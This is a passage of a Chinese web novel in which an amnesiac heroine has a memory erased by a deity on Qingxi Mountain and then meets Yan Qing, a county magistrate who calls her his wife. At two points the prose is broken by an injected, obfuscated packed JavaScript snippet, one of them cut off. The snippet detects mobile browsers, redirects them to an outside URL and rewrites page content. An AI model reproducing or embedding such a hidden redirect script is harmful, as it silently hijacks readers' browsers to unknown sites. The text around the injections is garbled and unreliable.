“清溪山拜过的神仙都会显灵!” 上山途中我不知听到身旁多少人说了这句话。 有这么神吗? 神不是都凶巴巴的,从不听人话的嘛。至少我认识的神是这样的。 人流在进入山门口开始四散,寻找各自的神。我决定挨着找,不放过任何一座神像。 在层层叠叠的绿意中,一片气势恢宏的建筑群赫然出现在眼前。朱红色的围墙绵延不绝,金色的琉璃瓦在阳光下熠熠生辉。正中央是一座巍峨的主殿,飞檐翘角,雕梁画栋,檐角悬挂的铜铃在风中发出清脆的响声。 向来安静的神像前,跪着祭拜的人,只听见来来往往的脚步声。 我走过一尊尊神像前,寻找我要的神。 余光突然瞥向暗处。 雄伟的殿内,一位男子背对着众人望着敞开的窗台上不知是谁个贪玩的孩子放在那里的一朵小黄花,不知道在想些什么。 深棕色的长发被红色的发带束在头顶,发尾随着堂内的清风微微拂动。他站在无人在意的角落,像是隐匿在黑暗中的孤魂。没人注意他,只有我。 我一眼认出了他,是光州那晚醉月楼前,桥上莫名消失的人。 我站在大殿的阴影里,呼吸不自觉地屏住了。喉咙发紧,仿佛有什么字眼要冲破而出,却又被无形的力量堵在那里。我的手指无意识地绞着衣角,指节因用力而发白。 他转过身来了。 那双眼睛——我从未见过如此空洞的眼神,像是被抽走了所有光芒的黑洞,又像是深不见底的寒潭。人潮在我们之间川流不息,香客们的脚步声、低语声交织成一片嘈杂,可我的世界里只剩他。 我们的目光穿过人群,安静地、固执地纠缠在一起。 心脏突然传来一阵刺痛,眼眶不受控制地发热。我想冲上去抱住他,这个念头来得如此强烈,以至于我的双脚已经微微前倾。可是为什么?他是谁?为什么看到他,我就有种想哭的冲动? 我的目光在他身上游移,试图寻找答案。他穿着一袭褐色长衫,衣料上隐约可见暗纹,在阳光下泛着淡淡的光泽。腰间系着一条青色丝绦,垂着一枚玉佩。 当他垂下眼睑的瞬间,我的视线被那枚玉佩吸引。那是一块上等的羊脂白玉,温润通透。我眯起眼睛,努力辨认上面的图案:松鹤展翅,神龟昂首,脚下踩着黑白分明的棋子,周身环绕着蜿蜒的水纹。 “松鹤、棋子、水源……”我无意识地喃喃出声。 他的动作突然顿住了。 那一瞬间,我清楚地看到他的手指微微颤抖。他的目光如电般扫过我,又迅速移开,仿佛被烫到一般。他转身的动作快得几乎带起一阵风,褐色的衣袂翻飞,转眼间就消失在殿外的阳光下。 “等等!”我拨开人群追了出去。 青石板路上,他的背影若隐若现。我提着裙摆,顾不得形象,拼命追赶。可是他的步伐太快了,每一步都像是丈量过一般,明明看起来走得不急不缓,却始终与我保持着距离。 后山的山门渐渐近了,我的呼吸越来越急促,心肺火辣辣地疼。一个踉跄,我跌坐在青石板上,掌心被粗糙的石面磨得生疼。 “你跑那么快做什么……”我喘着气,声音里带着哭腔,“我就想问你几句话啊……” 山风拂过,松涛阵阵。我环顾四周,空无一人,却总觉得有一道目光在暗处注视着我。 “我失忆了,”我对着空气轻声说,“我想找回自己的名字。你一定认识我对不对?可不可以出来,让我看看你……” 回答我的只有风声。 不知过了多久,有脚步声由远及近。是山中巡值的弟子,他们看到我狼狈的样子,连忙上前搀扶。我任由他们扶起,目光却仍不死心地扫视着四周的树影。 他终究没有出现。 但我知道,他一定听到了。 我重新踏入大殿,香客已经散去大半,只剩下零星几个虔诚的信徒还在跪拜。袅袅的香烟缭绕在殿内,给庄严的神像蒙上一层朦胧的面纱。 我仔细端详着每一尊神像,却找不到我要找的那位。殿外传来脚步声,我转身拦住一位路过的弟子。 “请问,我想找一位神,能告诉我在哪里吗?” 弟子露出困惑的笑容:”您能说得具体一些吗?” 我一时语塞。是啊,我连要找的是哪路神仙都不知道,又该如何描述?弟子似乎看出了我的窘迫,抬手指向太阳落下的方向:“或许那边会有人为您解答。” 我顺着弟子指引的方向,沿着一条僻静的小路前行。路越走越窄,两旁的树木越发茂密,直到眼前豁然开朗——一座凉亭静静地矗立在山谷中,亭内亮着幽幽的光。 凉亭里坐着一个人。 那个背影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他见我沉默不语,抬起修长的手指点在我的脑门心。 四肢仿佛被定住一般无法动弹,耳边响起如前世遗留的声音。 那声音夹杂着风的声音,从很远很远的地方传来,空旷、明朗。我仿佛站在一片草原的中央,远处有一个人朝我挥手,宣告着什么—— “总有一天,我会站在敌人的尸骨上,让全天下都看着我,知晓我的名字!” “……风——你一定要嫁给我啊——!” 我望着近在眼前虚晃的掌心,嘴唇不受控制地颤动着,喃喃吐露出刚才在大殿哽在喉咙说不出的字眼。 “贺祈源……” 松鹤、棋子、水源。 遥远的声音逐渐消失,面前的男人也缓缓放下手,将步摇放回我的掌心。 “好了,忘记这一切,然后,把他彻底忘了吧。” 说完,他又叹了口气。 “明明梦里已经替你消除一次记忆了,想不到现实还得来一次。” 我不明所以地望着他,反复斟酌了好几次他的话,恍然大悟。 “神像!” 不对,应该叫他—— “方大仙。” 我发现他眼底闪过一丝落寞,暗暗叹了口气,忧心忡忡地望着我。 “当真是忘得一干二净啊。” 又是这句话。 方大仙和柳砚清真的没有关联吗? 我无意识捏紧了手中的步摇,想趁着他消除我的记忆之前,问出我的疑问。可转念一想,记忆消除,问出来又有什么用。 我没有接话。方大仙也只是默默又叹了一息,伸出手指移向我的额头。 “等一下!” 我立马捂住额头。 “我还是很好奇。您跟柳砚清,什么关系?” 你,是否就是柳砚清? 后半句话我没有说出口,不找边际没有证据的话肆意脱口而出只会引起不必要的麻烦和误会。 方大仙了然一笑,猜到了我的话中之话。 “砚清曾到仙岛跟我学过一段时间的起死回生之术。” 看我沉默不语,方大仙抬起手揉了揉我的发顶。 “虽然我可以直接把所有事情一一告诉你,但我不想这么做,也不能这么做。” 慈爱的笑映在我的眼里,像父亲一样,像父亲安慰着病重的孩子那般疼惜怜爱。 “都会好起来的。你会全部记起来的。” 不知为何,我突然很想唤他一声爹。 我笑着垂下头,然后露出一抹明媚的笑,告诉他我已经准备好忘记这段记忆了。 “必须全部忘记吗……” 温热的指尖轻柔地抵上我的额头。 “你想记住什么?” “他的名字?” 他摆头拒绝。 “关于他的事,必须全部消除。” 方大仙一脸严肃地皱着眉,我深知没有商量的余地,闭上眼接受现实。 19. 颜如卿月 浑浑噩噩的幻境里,方大仙转身走向了一个看起来阴暗不见底的通道,不断散发出腐烂的恶臭味。 没猜错的话,是尸体腐败的味道。 他要带我去哪儿?不是消除我的记忆吗?为什么还会有幻境出现? 通道的阴影处躺着一些“人”,他们无一例外都呈现极其扭曲的姿势。我察觉不到任何气息,安静的通道里只能听见我自己的呼吸和心跳声。 “这些人,都死了吗?” 方大仙没有否认。 “关于他的记忆有些复杂,如果你没有经历见证生死劫难,都没法直接消除。所以,我得带你走一段特殊的路。” 我不明白他说的意思,但话里有话。 我小心试探地问道。 “之前,也有过相同的事情,在我的梦里?在那儿,我又经历了什么?消除以后,我就再也不会见到他,梦到他了吗?” 我一股脑的把问题抛出,方大仙始终目光朝前,语气强硬。 “别问。把他忘得一干二净。” 我感觉一股沉重的不断涌上胸口,烦躁、郁闷。 我停下脚步,不再往前。 方大仙转过头望着我,神情依旧是不可亵渎地威严。 “我需要一个理由。” 我不甘示弱,继续追问。 我知道神像不会为难我,即便他是高高在上的神,于我,总有种可以恃宠而骄的特权。 “因为他没有必要被你记起。” 方大仙的话让我有些茫然,如果这个人是九个男人中的一员,恰好又是知晓我姓名的人,不就一定要被我记起吗。 “贺祈源……” 我喃喃那人的姓名。 “大仙为什么对他如此抗拒?你为什么不希望我记住他?” “因为他数次夺走了吾女儿的性命。” 他说得云淡风轻,但我的心瞬间被揪紧。那样潇洒清朗之人,居然是会夺人性命的恶魔…… 丧女之痛我不懂,但我知道失去珍贵之物的感受。很痛,比心如刀割痛上千万倍。 我沉默了片刻,抬脚继续朝前。方大仙欣慰一笑,与我并肩而行。 “大仙的女儿……现在还好吗?” 神仙不老不死,既然死过无数回,现在应该也还活着。 方大仙神态自若,看过我一眼后又收回视线。 “好得很,而且,懂事不少。” 再睁眼时,雨已经停了。 凉亭的花海被汪上一层水潭,零星的花瓣摇曳其中。 方大仙消除了我的一段记忆,具体消除的那一段记忆我就无从可知了,但那以外的事我都还记得,比如来清溪山的目的。 庄严的大殿中,方大仙带领我穿梭在各尊神像面前,时不时给我介绍各路神仙的名字和神职。 我不像来寻找某物,而是游历山水的访客。 方大仙语调轻松略带调侃,跟介绍自家朋友似的。 好吧,确实是朋友。 “所以……您带我来这儿,就是为了给我介绍您的神仙朋友?” 神仙不该连天下苍生都顾不及,哪儿能有如此闲心。 “吾没那么无聊。” 白色的羽衣拂过眼前,方大仙抬起手指。 “看到那个人没?” 顺着指尖的方向,我看到神像前认真跪拜的一名男子。 “去吧。” “嗯???” 不管我一头雾水,方大仙只是笑着转身之际消失在我眼前。 神仙叫我去搭讪? 我左右环顾,大殿内的人群散得差不多,少了围观群众,我也多几分信心去跟陌生男人搭话。 跪拜的男子身形健硕,许是练过的。皮肤偏白,不是去塞外待过的将士。一看器宇不凡,名门气势,应该是城里当官的? 如果他是我要找的九个男人之一那还真是……比柳砚清和闻笙差了些,我的意思是,比我的审美差了些。 我一面慢慢靠近,一面打量起即将被我搭讪的男人。 察觉到我的视线,那人笑着起身拍了拍膝盖附近仪态端庄向我迈步。 “夫人?许久不见!” 夫人?他在叫谁夫人? 我环视一圈,确定现在殿内只有我和他两个人。 “你是?” “曾在颜大人手下当差的孙寺。也是,您和我只有过一面之缘,不记得也正常。” 孙寺?颜大人?短短一句话包含的信息太多,一时思绪混乱,转不过弯。 “夫人和大人一起来清溪山拜神吗?” 孙寺又追问道。 我该怎么回答?是?不是? 孙寺显然是认识重生前的我,而且在我曾经的男人手下当差。若是暴露我失忆一事,定然会因此一堆麻烦。我可不能做给自己找麻烦的人,能少一事少一事吧。 撒谎嘛,谁不会。 “是——的。” 我果然不太擅长说谎,话到一半良心作祟,险些败了阵脚。 孙寺笑了笑。 “夫人还是一如既往的有趣。许久未见大人,可否请夫人带我跟大人打个招呼?” 能圆过谎话的只有谎话。当我撒出第一个谎时就该猜到后面还有更大的坑等着我跳。 “大人在……他在……哪儿呢……” 我哪儿知道在哪儿!话说大人是谁啊! 内心慌了神,脸上强壮镇定,只是额头可见渗出汗水。 “孙寺?” 殿外的声音吸引了孙寺的目光,我也跟随他的视线回头望去。 视线对上的瞬间,我明显感觉到那人眼里的神情变了。 “楚、风?” 我怔愣在原地,目光无法从不远处那个逆光而立的身影上移开。阳光从他背后洒下,将他的轮廓镀上一层淡淡的金边,仿佛从画中走出的仙人。他身形修长挺拔,穿着一袭青色长衫,衣袂随风轻轻摆动,整个人透着一股清雅的书卷气。 他一步步走近,那张脸逐渐清晰起来。眉眼如画,鼻梁高挺,唇线分明,下颌线条干净利落,整张脸既清秀又不失英气。他的眼神清澈明亮,仿佛能洞悉一切,却又带着几分温润如玉的柔和。浑身散发着正气凛然,仿佛天生带着一股令人心安的威严,却又不会让人觉得压迫。 当他走到我面前时,我能闻到他身上散发出的淡淡檀香,混合着阳光的味道,令人心神一振。他的脸上写满了见到我的惊讶,那双明亮的眼睛微微睁大,瞳孔中倒映着我的身影。他的嘴唇微微张开,似乎想说些什么,却又一时语塞。 就在这一瞬间,我怀中的神器突然发出一阵轻微的震颤,仿佛在回应他的存在。那是一种只有我能感受到听到的共鸣。 我心头一紧,确信眼前这个人就是我要找的人。 他的目光迅速在我身上扫过,从我的眉眼到我的衣角,仔仔细细地打量着我,仿佛在确认什么。他的眼神从最初的惊讶逐渐变得明亮起来,眼中仿佛有星光闪烁,嘴角微微颤动,似乎有千言万语想要倾诉,却又不知从何说起。 他的手指微微抬起,似乎想要触碰我的脸,却又在半空中停住,最终缓缓放下。 气氛变得不可言状。 一旁的孙寺不明所以地望着我们,笑着打破眼前的窘境。 “还以为大人和夫人是同路呢。莫非也是碰巧在此相遇?” 几乎同一时间,我们异口同声回答了他的问题。 “是。” “不是。” 异口同声,倒是默契得很。 我抿紧嘴唇,恨不得把“是”字吞回去。 又在下一秒看向眼前人的同时,和他不约而同嗤笑。 我偷偷瞄了一眼不远处方大仙离开的位置,果然,他站那儿看着呢。 我用口型道了声谢,收回视线,对上眼前人的目光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078507|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻还有旁人在场,不便交待我失忆的事情,也不好询问他我的名字。只好见机行事,别露出破绽,等单独相处时再问不迟。 不就是夫人嘛,简单! 我笑着挽上眼前人的手臂。 差点以为是我的错觉,他的身体一下子僵住,手臂不自觉地打直,两手握成拳。 难不成我和这位大人没有过肌肤之亲?我不是他夫人吗,怎么可能连手都没挽过?洞房花烛夜怎么搞的? 许久未见的两人说去清溪山的茶舍小叙片刻,我也跟去了。 从二人的谈话里我获取到了诸多有用的信息。 这位大人姓颜,现任信州知县,今日休沐,特上山拜神祈祷。 分别时,孙寺执意说要目送我们离开自己再上车。 原本也打算和这位颜大人走的我,自然地上了他的马车。 “孙寺已经走了。你可以放心大胆告诉我实情了。” “什、什么实情?” 呜哇,结巴了。 我的演技如此拙劣吗?好歹也是看过数十本话本和几场皮影戏的人,不应该啊。 他歪了歪头,唇角上扬,一副已然看穿我的表情。 谎话既然败露,也别怪我接下来说的事吓唬到你了。 我把自己事情说得云淡风轻,没多说一句,这位大人的表情就越发凝重。是心疼的,担忧的。 故事落幕,他长叹了口气紧紧握住我的手。 “平安回来就好。” 他拍着我的手背,明明自己一脸伤感惆怅,却反倒安慰起我。 马车沿着山路颠簸行进,轩外的天空被染上朱砂色,路过的树冠均被镀上一层金光。 这一天过得太顺利,不免生出一丝担忧。心里空落落的,总感觉缺少了一块。 他坐在我身边,正襟危坐。察觉到我的视线,回以我世间最舒心的笑,清秀的脸庞尽是温柔。 “还不知颜大人姓名?” “颜卿。” “砚清?!” 我惊呼。 竟和医鹿山那位仙长同名?!不会字也一样吧! 难道眼前的人其实是…… 他笑着抓过我的手,手心朝上,一笔一划写下他的两个。 “颜卿,颜色的颜,君臣之卿,跟前朝名臣颜真卿同字。” 我茅塞顿开,豁然开朗。又想到刚才瞬间冒出不切实际的想法,只想笑。 “孙寺说,我是你夫人?” 我望向他,与他四目相对。 “是正经拜过堂的夫人吗?” 挽上颜卿手臂的时候我便一直怀疑眼前的男人当真是拜过堂的丈夫吗。如果是,为什么他表现出极其震惊不自然的表情。 颜卿笑了笑,错开视线。 “只差一点。” 他收回覆盖在我手背上的手,我见他眉目间沉了下,犹豫要不要告诉我。 我直勾勾盯着他。 “成亲当天,拜堂之际,你……被人抓走了。” “你以前,和别的男人做过这种事吗?” “我,是第一次。” “你是我的第一次。以后的,每一次,都只会是你。” 黑暗中的声音满是怜爱。 不见他身影,却被一股温暖环抱。我好似依偎在他怀中,静静沉睡。 我梦到了一个叫yanqing的男人。 每次唤出他的姓名,他的耳根总会不自觉染上红晕。 刚才的话,是什么意思?是过去的某段回忆,我所看见的听到的,都是过去的我和yanqing真切发生过的吗? 如果梦境的画面是过去发生的事,那这个叫yanqing的男人一定知道我的事,保不准他就是知晓我姓名的人。 可—— 可我记不住梦,醒来便全忘了。 颜卿,砚清。 天下真有这么巧的是吗。 20. 信州烟雨 马车在颠簸中缓缓前行,我靠在颜卿的肩上,困意渐渐袭来。他的肩膀并不宽厚,,但却给人一种莫名的安心感。我能闻到他身上淡淡的墨香,混合着檀木的气息,许是公堂之上坐得久了染上的吧。不知不觉间,我的眼皮越来越重,最终沉沉睡去。 不知过了多久,马车停了下来。我迷迷糊糊地睁开眼,在颜卿的搀扶下跳下马车。 夜色深沉,街道上空无一人,只有远处传来打更人的梆子声,在寂静的夜里显得格外清晰。 我抬头看向府邸的门匾,“信州府”。 “颜大人果真是信州知县啊。”我笑着转头看向他。 面色憔悴,眼底泛黑,气血不足,骨瘦如柴,善言善面。 哪里有知县的样子。 知县不该是大肚皮、长胡须、眉目凌厉吗? 颜卿似乎察觉到了我的目光,微微侧过脸,轻声道:“夜深了,先进府吧。” 他领着我穿过大堂、二堂、三堂,每一步都配合我的步子走,始终与我并排。 “收拾一间客房出来。”颜卿吩咐道。 先带我认了路,告诉我茅房等地在哪儿后,来人告知客房收拾完毕。 我环顾四周,客房布置得简洁雅致,却让我心中生出一丝异样。我转头看向颜卿,故意露出疑惑的神情:“嗯?” 颜卿见我神色有异,环顾了一圈客房,并未发现什么问题,便问道:“可是哪里不合心意?” 我眨了眨眼,故作天真地说道:“我们不是夫妻吗?夫妻不该睡一张床吗?” 颜卿闻言,顿时愣住了。他的耳根以肉眼可见的速度泛红,眼神闪烁,不敢直视我。他轻咳了一声,声音有些发紧:“可、可你记不清过往之事,贸然睡一张床,恐怕……我怕坏了姑娘清白。” 我看着他窘迫的样子,心中暗笑,继续逗他:“我不记得,你记得啊。苦等多年的妻子终于归家,你难道不想和我多说几句吗?” 颜卿的脸更红了,他低下头,手指无意识地摩挲着袖口,声音轻得几乎听不见:“我自然想,可……” “想就对了,这才像两口子嘛。”我打断他的话,故意摆出一副理所当然的样子,“客房就先这样吧,日后有客人了再住。我行李也不多,就直接住你屋啦。” 颜卿显然被我大胆的言辞吓到了,他的手指微微颤抖,嘴唇动了动,眼神中既有期待,又有犹豫,仿佛在挣扎什么。 本想继续逗他,奈何困意来袭,颠簸了一天,我实在累得慌。见他手足无措,我终于忍不住笑出声来。 “好啦,我开玩笑的。辛苦收拾出来,我便在此住下啦。” 颜卿松了一口气,但眼中却闪过一丝失落。他点了点头,吩咐仆从照顾我好后便离开了。 本想补足我前日早起流失的睡眠,结果生生被府外的击鼓声吵醒。 被子蒙不住,窗户也关不住,我只好任命穿戴整齐出门去。 前门肯定是不能去了,我选择走后门。 推开门,清晨的雾气还未完全散去,街道上已经聚集了摆摊的商贩。我绕到县衙正门外,站在人群后面,想看看堂堂信州知县是如何办案。 大堂之上,颜卿端坐在案前,神情肃穆,仔细聆堂下百姓的诉状。 我站在人群中,看着他那副认真的模样,心中不禁生出一丝敬佩。仿佛昨晚脸颊涨红羞涩之人与堂上之人毫无关系。忽然明白他的清瘦和憔悴是为何。 亲民清官,长得还帅,不愧是我选中的男人~ 堂下跪着的村民,衣衫朴素,满脸焦急,声音颤抖地说道:“大人,求您为小人做主!我家娘子昨日喝了村里的井水后,突然腹痛难忍,如今已卧床不起。小人怀疑……怀疑有人在井里下了毒!” 颜卿听完,眉头微蹙,沉声问道:“除了你家娘子,可还有其他人出现类似症状?” 村民连忙点头:“有!村里还有几户人家也出现了腹痛的症状,只是没有我家娘子严重。小人担心,若是再这样下去,我家娘子她……” 颜卿神色凝重,立刻吩咐身旁的师爷:“立刻派人去村里查看井水,并请大夫为村民诊治。此事关系重大,本官一定彻查到底!” 村民连连磕头:“多谢颜大人!多谢颜大人!” 我站在人群中,看着颜卿果断处理案件的样子,心中不禁生出一丝敬佩。颜卿的言行举止中透着一股令人信服的力量,仿佛只要有他在,一切问题都能迎刃而解。身边的信州百姓也开始称赞起他。 明明说的是堂上之人为何我却突然生出一股害羞。 人群散去,我穿过大堂追上颜卿的步子。 “颜大人!小人有要事相报!” 我沉着嗓子,模仿老婆婆的声音喊住颜卿。 他真以为是有人报案,回过头时,脸上的威严和看到是我时闪出的错愕形成鲜明对比,逗得我嗤笑。 他也扬起唇角,眼中带着几分无奈,却又满是纵容,仿佛在看着一个调皮的孩子。 “颜大人一大早就工作,辛苦啦。” 我走到他身边,朝他深鞠一躬。 他笑着,修长的手指轻轻将我头上摇摇欲坠的白梅步摇往发髻内一推,动作温柔而细致,仿佛在对待一件珍贵的宝物。他的指尖不经意间触碰到我的耳垂,带来一丝微凉的触感,让我不由得微微一颤。 “吃过早膳没?” 他的声音低沉而温和,带着一丝不易察觉的关切。 “还没呢,这不等着你一起嘛。” 我仰起头,冲他眨了眨眼,语气中带着几分撒娇的意味。 他闻言,唇角微微上扬,眼中闪过一丝宠溺,却又很快被他压下。即便面对失忆重生的我,他没有选择疏离或是特殊对待,始终保持着恰到好处的温柔,从不越界。可我能感觉到,他的内心深处藏着太多未曾说出口的思念与克制。 “想吃什么?” 他轻声问道,目光落在我的脸上,仿佛在细细描摹我的眉眼。 “嗯……包子馒头米粥面条?” 我歪着头,故作思考状,语气中带着几分调皮。 “是都吃还是任选其一?” 他轻挑眉,自然地接住我的话。 “这个问题就交给英明的颜大人来定夺啦。” 我笑着将问题抛回给他,眼中满是狡黠。 他无奈地摇了摇头,语气中带着几分宠溺。 “我待会儿还有公务要办,今天就用厨房准备的早膳,晚上我带你去外面的酒楼吃。” “嗯!” 我重重点头,眼中满是期待。 颜卿的目光在我脸上停留了片刻,随即移开,转身吩咐下人准备用膳。他的背影挺拔而清瘦,一身深青色的官服衬得他愈发清冷如玉。我望着他的背影,心中泛起一阵复杂的情绪。 重生前的我,应该没有对颜卿做什么过分,伤害他的事吧……如此温柔之人,要是真做了什么对不起他的事,我会良心不安自残形愧抑郁而终的! 早膳很快端了上来,热气腾腾的包子、白粥和小菜摆满了桌子。不多时又端来一碗素面。颜卿坐在我对面,先替我夹了一个包子。 “是白菜馅儿的,趁热吃。” 我接过包子,咬了一口,满口鲜香。白菜馅一定是我从前最爱吃的,也是现在,从此刻起最爱吃的。 我鼓着脸感叹包子的一绝,抬头看向他时,却发现他的目光正落在我的脸上,眼中带着一丝温柔的笑意。我心中一暖,脸上不由得泛起一丝红晕。 “你也吃啊。” 我轻声说道,语气中带着几分羞涩。 他点了点头,夹起一块小菜放入口中。 早膳过后,颜卿起身整理官服,准备前往衙门处理公务。我站在门口,目送他离开。他走到门口时,突然在我身边停下脚步,转身看向我,眼中带着一丝犹豫。 “我就在二堂,有事来找我便是,不必拘束。” 他的声音低沉而温和。 我笑着点头,挥手与他道别。 他深深地看了我一眼,随即转身离去。 肚子也填饱了,我一个人在院子里踱步,人生地不熟的,多少有些无聊。府邸虽大,但除了几个忙碌的下人,便只有我一个人闲逛。庭院里的花草倒是开得正好,微风拂过,带来一阵淡淡的花香。我抬头看了看天色,阳光正好。 “如此好天气,怎能不回去继续睡觉呢。” 我自言自语道,转身朝房间走去。 刚准备躺下,忽然注意到窗外有人影掠过,随后我的房门被轻轻敲响。 “夫人,我们给您送点裁缝新制好的衣裳,您现在要看看吗?”门外传来昨晚见过的管家恭敬的声音。 本着礼貌待人的原则,我迅速翻起身,整理好自己的仪容,开门迎接。 “进来吧。”我微笑着说道。 领头的是府上的管家,身后跟着几名侍女,手里端着颜色各异的服饰,无一例外,都是我喜欢的款式和颜色。柔软的丝绸、精致的刺绣,每一件都显得格外用心。 管家走到我身边,语气恭敬而温和:“夫人若还有什么需要,尽管吩咐。” “好,谢谢您。” 我点了点头,心中有些感动。 管家浅笑着微微点头,继续说道:“颜大人特地交代过,您也不必拘束。这间房若是住着不舒服,您跟我说,马上给您换。” 我连忙摆手。 “很舒服!出门右转就是后门,我想出去逛逛也方便。” 管家听了,眼中闪过一丝意味深长的笑意。 “夫人真的变了呢。” “嗯?” 我愣了一下,有些疑惑地看着他。 管家却只是笑了笑,没有再多说什么,转身对侍女们吩咐道:“把衣裳放下吧。” 侍女们将衣裳整齐地放在房间的柜子里,随后恭敬地退了出去。管家临走前,又回头对我说道:“那夫人好好休息,待会儿午膳时间我再来叫您。” “好。” 午膳时间颜卿并不在府上,交代完下属后便匆匆离去。 应该是去查案了。 我想着去信州街市走走看,毕竟整日待在府里也闷得慌。管家见我打算出门,脸上露出一丝担忧,连忙说道:“夫人,您初来乍到,对信州不熟悉,独自出门恐怕不太安全。不如找个人陪您一起去吧。” 我想想也行,便谢过管家。 随即,他招呼了一位名叫桂花的姑娘过来。桂花年纪不大,约莫十六七岁,穿着一身淡绿色的衣裙,眉眼清秀,笑起来时脸颊上还有两个浅浅的酒窝,显得格外灵动。 “桂花以后就是夫人的贴身丫鬟了。这姑娘很是机灵能干,夫人觉得如何?”管家介绍道。 我上下打量了桂花一番,见她眼神清澈,举止得体,心中莫名有了几分好感。 “很好,谢谢管家,谢谢桂花姑娘。” 桂花听了,脸上泛起一丝红晕,连忙上前行礼:“桂花才要谢谢夫人。以后桂花一定会尽心尽力伺候好夫人。” 我笑着扶起她。 “不必多礼。我见你莫名的熟悉,想必我们之前应该认识。就学从前一样,随意些就好。” 桂花怔愣片刻,点了点头,眼底闪过一丝伤感,随即主动走到我身侧,压抑不住内心的兴奋,热情地向我介绍。 “夫人,您想去哪里逛逛?信州的街市热闹得很,有卖胭脂水粉的铺子,也有卖糕点小吃的摊子,还有不少新奇玩意儿呢。” 我听了,心中顿时生出了几分兴致。从医鹿山一路出发到现在,我可一点没打扮过。两套衣服换着穿,一根发饰走天下。 “那我们就先去逛逛胭脂铺子吧。” 桂花笑着点头,随即引着我朝府外走去。 信州的街市果然热闹非凡,街道两旁摆满了各式各样的摊子,叫卖声此起彼伏,空气中弥漫着各种食物的香气。 桂花一边走一边为我介绍。 “夫人,前面那家‘锦绣坊’是信州最有名的胭脂铺子,里面的胭脂水粉都是上等货,各家夫人都争着用呢。” 走进锦绣坊,店内陈设雅致,柜台上摆满了各式各样的胭脂水粉,香气……是我在医鹿山药草闻多了的缘故吗,这味道着实喜欢不起来。我蹙着眉,想拉着桂花离开。 眼疾手快老板娘见我们进来,连忙迎了上来,笑容满面。 “这位夫人看着面生,是第一次来我们铺子吧?要不要试试我们新到的胭脂?颜色正,质地细腻,保准您喜欢。” 我笑着摇头说不必了。 老板娘倒只顾着推销,管我要不要的架势,随手拿起一盒胭脂,轻轻打开,非得凑到我眼前让我看看。只见里面的颜色鲜艳而不俗,放在平常姑娘眼里确实不错。 可惜,对象是我。 桂花在一旁轻声说道:“夫人,这颜色很适合您,衬得肤色更白皙。” 我笑着看了她一眼,摇头凑到她耳边小声说:“我受不了了,我们出去吧。” 桂花脸色一变,低声道:“夫人没事吧?” 我摆摆手,捂着嘴皱着眉跟老板娘道谢。 “许我近来孕吐得厉害,可惜不能光顾老板的生意。” 老板娘听了,立马明白,搀扶着我送往门口。 “夫人身体要紧。等日后孩子出生了再来啊。” 可算出来了。 我深吸了口信州纯洁的空气,心情舒畅。桂花果然是了解我的,没多问,继续领我又逛了几家铺子。 一路上她向我介绍信州的风土人情,还时不时提醒我注意脚下的路。她的细心和机灵让我对她越发喜欢。 “不过夫人……没有怀孕吧?” 这孩子,到底是了解我还是不了解啊。 我拍拍她的肩膀。 “放心吧,我这刚回来,你们颜大人动作没这么快。” 走到一处卖糖画的摊子前,桂花突然停下脚步。 “夫人,这糖画可好吃了,您要不要尝尝?” 我见她眼中满是期待,便笑着点头:“好啊,那就一人来一个吧。” 摊主见我们停下,连忙热情地招呼:“夫人想要什么图案的?有兔子、老虎,还有龙凤呈祥呢!” 我看了看摊子上的糖画,笑着问桂花想要哪个。 “小兔子。” “老板,一个兔子和一个青蛙。” 摊主手脚麻利地开始制作,不一会儿,一只栩栩如生的糖画兔子便递到了我手中。我接过糖画,笑着递给桂花:“吃吧。” 桂花接过糖画,眼中闪过一丝感动,低声道谢。 待我的青蛙做好后,我二话不说,一口咬断青蛙的头。 对上桂花错愕的眼神,我笑着拍了拍她的肩膀。 “走吧,我们再逛逛。” 回到信州府,管家见我们回来,连忙迎了上来。 “夫人今日逛得可还尽兴?” “桂花带我逛了不少有趣的地方。” 管家听了,脸上露出欣慰的笑容。 “大人已经处理完公务回府,正在房里换衣服。” 敞开房门的屋内,颜卿正端详手里一只精致的木雕盒子。 脱下官服的男子,穿着一身月白色的长袍,整个人显得清雅如玉。见我立在门外,他扬起唇角放下手中的木雕盒子,走到我面前。 “今天去了胭脂铺?怎么没给自己添置一些?钱不够吗?” “不是不是,是我不喜欢那个味道,太刺鼻了。” 他轻轻一笑,抬手替我理了理一根翘起的发丝。 “还吃得下吗?或者,我带你出去走走。” “吃!吃了继续逛!” 我笑着跟在他身后走出府门。 傍晚的街道上人来人往,灯火辉煌,信州的繁华在这一刻展现得淋漓尽致。如此盛况一定是他的功劳。颜卿走在我身侧,时不时侧过头看我一眼,眼中带着一丝温柔的笑意。 颜卿领我去的酒楼名叫醉仙楼。不仅味道好分量足,最主要他家吃饭还能免费看戏。酒楼老板专门请了信州最厉害的戏班子驻场,一月之内天天不重样。 雅间内,桌上摆满了精致的菜肴。颜卿为我夹了一块醉蟹,语气温和:“尝尝看,合不合口味。” 我接过醉蟹,嗦了一口,想不到还有酒香。我惊喜地抬起头,他见我的表情浅浅一笑。 酒过三巡,菜过五味,舞台上今日的剧目落下尾声。我们和全场食客一起为戏班子献上掌声。 夜色渐深,醉仙楼外的灯火依旧辉煌。 颜卿起身,朝微醺的我伸出手轻声说道:“我带你去河边走走” 我重重点了点头,搭上他的手掌。 明明只是小小一壶酒,我竟有了醉意。若不是颜卿扶着我,恐怕出不了醉仙楼就先摔了。 颜卿说的河边,是信州最繁华的地带,璀璨天城笙歌不断。画舫上的姑娘弹着琵琶,唱着小曲儿。横跨河道的石桥上布满了挂满彩灯的架子,以及来来往往的恋人。 忽然想起了光州的彩灯节。 我轻轻扯了扯颜卿的衣袖。 